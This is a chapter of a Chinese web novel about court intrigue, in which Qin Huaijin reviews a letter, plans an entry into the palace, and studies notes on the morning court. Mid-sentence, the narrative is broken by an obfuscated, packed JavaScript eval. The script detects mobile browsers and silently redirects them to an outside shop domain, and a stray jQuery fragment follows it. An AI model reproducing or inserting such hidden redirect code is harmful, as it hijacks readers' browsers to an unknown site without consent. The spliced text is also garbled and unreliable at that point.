秦怀谨在梦笙楼又呆了两个时辰,和柳絮讨论了一下各自的看法。

    好在两人都有耐心,把事情摊开来仔细说了一遍,并没有闹什么不愉快。

    相反,两人还找了好几位姑娘了解她们的想法,这才敲定了最终的方案。

    两人正说着,门被轻轻叩了两下。

    声音很轻,敲后也没有立刻自报家门或者打开门,不像是梦笙楼的人。

    柳絮抬头看了秦怀谨一眼,没有出声,只是朝门的方向扬了扬下巴。

    秦怀谨放下手里拿着的胭脂,说了句“进来”。

    门被推开一条缝,冬莲侧身闪了进来,身上还带着巷子里的潮气,像是赶了一段路。

    她没有寒暄,径直走到桌边,从袖中取出一封折好的信,放在秦怀谨面前。

    没直说,而是看了一眼柳絮,确认对方是不是可以听接下来话的。

    “私宅收到的,我看着像急事,就一路找过来了。”

    秦怀谨低头看了一眼那封信,封口处盖着陈茵的印记,是她在药铺自制的印泥,颜色偏浅,但印记清晰,边缘不糊,旁人很难模仿。

    她把信拆开,展平,目光从第一行扫到末行,没有露出什么表情。

    柳絮在旁边没有凑过来看,只是把桌上那几盒胭脂往旁边挪了挪,给她腾出放信纸的地方。

    秦怀谨看完之后没有立刻说话,把信纸折好重新放回信封里,搁在桌角,抬头看向冬莲。

    眼里的红血丝不是很明显,应该有好好休息。

    不会被传克扣员工了。

    “这信除了你,还有谁接触过?”

    秦怀谨倒不是怀疑冬莲,只是随口问一句。

    信封上有盖章,送到她手中之前并没有偏移,想要知道信里的内容,根本没可能。

    她问这句并非毫无意义,而是可以通过这句话,了解到信上没有的东西。

    比如,信上说陈茵有些旧衣物,已经分给了十余人,提前跟着赶集的队伍进京,但冬莲刚才说的不够细,信是谁送到私宅的,她没说。

    如果是陈茵在山上训练的人送来的,说明已经有人在陆续进京,她的计划也可以再提前开启了。

    又比如陈茵在信里还说,她送上去的人,嗓子已经恢复了,这是好消息的部分,信的结尾还有个坏消息,那人脑袋上还有伤,原先不会言语没能看出来,如今还有些痴傻之症,还需要救治几日。

    陈茵为此写了一个方子,需要送药材到山里才行。

    冬莲站在桌边,想了想,“驿站的人送来的,说是从城外过来的信件,没有署名,只写了私宅的地址。我问了一句送信的人长什么样,驿站的说是个半大孩子,穿着粗布衣裳,看着像从城外赶集回来的。送了信就走了,没留话。至于其他人,就只剩我接触过了。”

    秦怀谨听完,没有接话,目光落在信纸末尾那行字上,像是在比对自己印象里的事。

    过了一小会儿她又开口,问的却是另一件事,“送信来的那个孩子,你见过吗?还是头一回听说?”

    冬莲摇头,“头一回听说。驿站的人也说那孩子是生面孔,以前没来送过信。”

    秦怀谨点了点头,把信纸折好收回信封里,搁到桌角,然后看向冬莲说了一句,“和妆音说一声,最近留意一下,有几个远房亲戚要借住,分散着住到各个铺子或者宅子里。”

    她在心里想了好一会刚才冬莲的话,驿站的人又或是远小于山上那些特训的那位半大孩子,有没有必要在如今的节骨眼上,安排人去单独调查。

    秦怀谨思考了多久,冬莲和柳絮就等了她多久。

    秦怀谨的手指停在信封边缘,没有收回去。

    她算了算人手,严重不足。

    真的不能再继续浪费资源在小事情上了。

    她抬头看向冬莲,开口时语气平缓,“那个孩子不用专门去查,驿站那边也不用派人盯。记得把这里面的方子准备一下,让人送去山里给陈茵。”

    冬莲听完没有多问,点了点头,转身出去了。

    门在她身后合上,屋里重新安静下来。

    柳絮在旁边听完了全程,没有插话,只是把那几盒胭脂又往旁边挪了挪,给秦怀谨续了一杯茶。

    秦怀谨接过茶喝了一口,低头看着桌面上已经空了的信封放置处,坐了片刻才开口说了一句,“我本不该怀疑你的人,但接下去我要带着他们往皇宫里生闯,若是不能自保,我很难放心用人。”

    柳絮没有立刻接话,低头看了一会儿自己面前那杯茶。

    她的脑海里想到的是过去已经经历过的打打杀杀,那时总把生死置之度外,不管是多大的年纪,也不管有没有打斗的技巧,都会被派出去。

    能不能活着回来,全看自己的运气。

    如今不过是把任务的地点变成了皇宫,原先也不是没去过皇宫,没什么差别的……

    但为何,这位怀王竟然会把他们当人看。

    “您放心,大家都不是贪生怕死之辈,有什么要求都可以尽管提,若是有命回来,您再多给点赏就成。”

    比起人命,她带出来的这群人,大多都有苦衷,也大多手头紧。

    跟着怀王以后,确实少了玩命的任务,多了不少赚钱还寻常的活。

    可对于他们早就习惯刀尖舔血的人而言,这样反而不适应。

    所以听说是去皇宫,她还没登记人员,就已经知道是所有人都要报名了。

    她都有些佩服自己当时的责任心,居然会一个个进行筛查后,选了最厉害的一批人给怀王。

    “我给你们赏钱,不是买你们的命。是希望你们活着回来之后,手里能多点东西。不用再为了几两银子把命押出去。”

    秦怀谨说这话的时候没有看柳絮,目光落在桌面上那排码好的胭脂盒上,像是在跟自己确认这句话有没有说对。

    等她抬头时,柳絮正要起身向她赔罪,她直接一把按住柳絮,郑重道,“不要有生死看淡的坏习惯,好好活着,比什么都重要。”

    柳絮被秦怀谨按住肩膀,刚起了一半的身子又落了回去。

    她愣了一下,没料到秦怀谨会直接动手按她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669007|202062||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,随即低头看了一眼自己肩膀上的那只手,又抬起头来看向秦怀谨。

    秦怀谨没再多说,拍了拍柳絮的肩,随后便出了梦笙楼的门,往私宅的方向走。

    夜色中,她独自向前的背影被月光拉长,投在青石板上的影子比她自己高出一截,像另一个沉默的人在跟着她走。

    巷子里很安静,早市散尽后的街面空荡荡的,只有远处偶尔传来一两声犬吠,闷闷的,像是被压住了嗓子。

    今日该忙的事情也忙的差不多了,且看这几日朝堂的变动,她再决定带一堆人进宫的时间。

    与其说是她来决定最后的时间,不妨说再看看永平帝会不会因药铺的事情重罚幕后使者。

    秦怀谨晃荡了一路,思考了一路,直到回到私宅,她都还在思考着情况。

    今夜的私宅最是空荡,冬莲被她刚才安排了活,估摸着在哪个角落找药材;妆音更是许久未见,好似从头到尾她都只是个暗卫,不在明面上出现。

    虽说没人,但院子里的石桌上放了满满当当的饭菜,就等她去享用了。

    秦怀谨边靠近,边猜测着菜品的具体名称,直到凑近才发现桌子上除了饭菜,还有封信。

    这份信上没有任何的盖章,也没有任何的破损。

    她甚至看不出是从何得来的。

    上边的信息少得可怜,堪比一张白纸。

    秦怀谨不得不靠近后拿起,这才看到了真正的信件内容。

    原来是沈濂见她今日未去早朝,特将早朝发生的事情,一五一十的都交代了一遍,还特别贴心的在每件事的左右坐上了标记。

    不知是不是标记后的内容变有趣了,还是她没去的早朝本身就有趣些,总之秦怀谨头一遭,破天荒的怎么也不困,津津乐道的看完了整个早朝发生的全部事情。

    说来也怪,永平帝突然要求大理寺明日就给出药铺的最终结果,大理寺竟也毫不犹豫的就这么直接答应了。

    反正陈茵确实没有做错任何事情,能提前把药铺重新开门,对她来说也是好事。

    只不过……

    沈濂对此的评价却与秦怀谨完全相反。

    他用朱砂红圈出了整个事件,在旁批注到,陛下并未主动提及,由二皇子亲口提醒后,陛下才刻意要求提前,有问题,需注意。

    她对着这句话看了一遍又一遍,着实没想到在全是她的人去调查情况的背景下,秦铭钰要怎么翻盘。

    找个替死鬼吗?

    也是,放发霉药材的乞丐去的是绸缎庄,绸缎庄一直是卫玉姚名下的,就算卫玉姚是秦铭钰的母妃,强行说是秦铭钰的问题也是有些牵强的。

    可秦铭钰如此笃定的话,替死鬼也必不可能是他的母妃。

    究竟是如何做到的?

    秦怀谨开始期待隔天的早朝了。

    她将纸烧成了灰烬,才把注意力放回到一桌子的食物上。

    平日里最爱吃喝的她,遇到了宫斗宅斗的,也只能把美食撇下。

    随便夹了几筷子菜,都食之无味,她索性放下筷子回屋早些休息了。